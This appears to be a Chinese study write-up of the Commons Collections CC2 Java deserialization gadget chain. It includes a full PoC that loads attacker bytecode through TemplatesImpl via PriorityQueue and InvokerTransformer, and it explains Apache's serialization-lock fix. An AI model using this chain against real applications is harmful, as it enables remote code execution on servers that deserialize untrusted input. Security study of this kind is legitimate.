java安全-CC2

  • 环境部分没什么好说的,这个链主要是简单修改了 CC4 的 transform 方法类逻辑

一、主要逻辑

1.invokeTransformer

CC4 的入口类 PriorityQueue 被保留下来

入口逻辑对比CC4

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PriorityQueue#readObject
PriorityQueue#heapify
PriorityQueue#siftDown
PriorityQueue#siftDownUsingComparator
TransformingComparator#compare

CC3部分
ChainedTransformer#transform
InstantiateTransformer#transform
TrAXFilter#getConstructor
TemplatesImpl#newTransformer
TemplatesImpl#getTransletInstance
TemplatesImpl#defineTransletClasses
TemplatesImpl#defineClass
加载恶意字节码

CC2只是对其中的CC3部分做出了改变,直接跳过中间步骤,使用invokeTransformer调用TemplatesImpl#newTransformer方法

1
Transformer invokeTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

进而调用TransformingComparator#compare时,直接调用的InvokerTransformer#transform方法

1
2
3
4
5
6
7
8
Transformer invokeTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Object> queue = new PriorityQueue<>(comparator);
//添加两个元素
queue.add(1);
queue.add(1);
setFieldValue(comparator, "transformer", invokeTransformer);

老样子,为了防止生成恶意代码时 add 方法起火,我们通过反射最后修改 transformer

2.queue.add(1)

这个方法大有用处,在调用TransformingComparator#compare时,直接调用的InvokerTransformer#transform方法时,这里transform方法的参数就是我们传进去的1

在之前的链路逻辑中,使用了 ConstantTransformer 这个来控制这个参数,但是这条链为了避免数组的使用,所以没有使用 ChainedTransformer 包装恶意类,而是直接传 InvokerTransformer 类,因此,我们这里传参需要为,恶意类 TemplatesImpl

1
2
3
4
5
6
7
8
Transformer invokeTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Object> queue = new PriorityQueue<>(comparator);
//添加两个元素
queue.add(obj);
queue.add(obj);
setFieldValue(comparator, "transformer", invokeTransformer);

成功打通

image-20260126205309037

二、链路poc

1.poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
byte[] code = Files.readAllBytes(Paths.get("D:\\小川\\code\\javasec\\CC1\\target\\classes\\CC1\\HelloTranslet.class"));
TemplatesImpl obj = new TemplatesImpl();
//反射修改内部属性
setFieldValue(obj, "_bytecodes", new byte[][] {code});
setFieldValue(obj, "_name", "HelloTemplatesImpl");

Transformer invokeTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});

TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
PriorityQueue<Object> queue = new PriorityQueue<>(comparator);

queue.add(obj);
queue.add(obj);
setFieldValue(comparator, "transformer", invokeTransformer);

serialize(queue);
unserialize();

2.总结

CC2 链区别与其他链子一点的区别在于没有用 Transformer 数组,不用数组是因为比如 shiro 当中的漏洞,它会重写很多动态加载数组的方法,这就可能会导致我们的 EXP 无法通过数组实现

**commons-collections4 **其实依旧可以使用 CC6,只是其中的LazyMap#decorate需要适应一下

3.官方修复

Apache 官方并没有修改 InvokerTransformer 内部执行代码的逻辑(因为它本身的功能是合法的),而是给这些危险类加了一把**“锁”,只有在显式允许的情况下,才允许它们参与序列化或反序列化过程**

在修复版本中,官方修改了所有涉及漏洞的类(主要是 Transformer 的实现类)。

以最核心的 InvokerTransformer 为例,官方在其中强制重写了 Java 序列化的两个标准方法:writeObject(序列化时调用)和 readObject(反序列化时调用)。

修复后的代码逻辑示意(简化版):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public class InvokerTransformer implements Transformer, Serializable {

// ... 原有逻辑不变 ...

// 【新增】序列化写入时的检查
private void writeObject(ObjectOutputStream os) throws IOException {
// 1. 呼叫看门人:检查是否允许序列化?
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
// 2. 如果通过,才执行正常的序列化
os.defaultWriteObject();
}

// 【新增】反序列化读取时的检查
private void readObject(ObjectInputStream is) throws ClassNotFoundException, IOException {
// 1. 呼叫看门人:检查是否允许反序列化?
FunctorUtils.checkUnsafeSerialization(InvokerTransformer.class);
// 2. 如果通过,才执行正常的反序列化恢复对象
is.defaultReadObject();
}
}

FunctorUtils.checkUnsafeSerialization 是 3.2.2/4.1 新增的一个静态检查方法。它的逻辑非常简单粗暴:

  1. 它会读取一个特定的系统属性:org.apache.commons.collections.enableUnsafeSerialization
  2. 如果该属性没有被设置为 true(默认情况就是 null),它会直接抛出 UnsupportedOperationException 异常。
  3. 一旦抛出异常,整个反序列化过程瞬间终止,攻击链被切断,RCE(远程代码执行)也就无法发生了。

源码逻辑片段:

1
2
3
4
5
6
7
8
9
10
11
12
13
static void checkUnsafeSerialization(Class<?> clazz) {
// 获取系统属性
String unsafeSerializationProperty = System.getProperty("org.apache.commons.collections.enableUnsafeSerialization");

// 如果没有显式开启
if (!"true".equalsIgnoreCase(unsafeSerializationProperty)) {
// 直接抛出异常,中断流程
throw new UnsupportedOperationException(
"Serialization support for " + clazz.getName() + " is disabled for security reasons. " +
"To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', " +
"but you must ensure that your application does not de-serialize objects from untrusted sources.");
}
}

不仅是 InvokerTransformer,所有可能被用于构建恶意调用链的类都加上了这个“锁”:

  • org.apache.commons.collections.functors.InvokerTransformer
  • org.apache.commons.collections.functors.InstantiateTransformer
  • org.apache.commons.collections.functors.CloneTransformer
  • org.apache.commons.collections.functors.PrototypeFactory
  • org.apache.commons.collections.functors.WhileClosure (4.1版本)
  • org.apache.commons.collections.functors.ForClosure (3.2.2版本)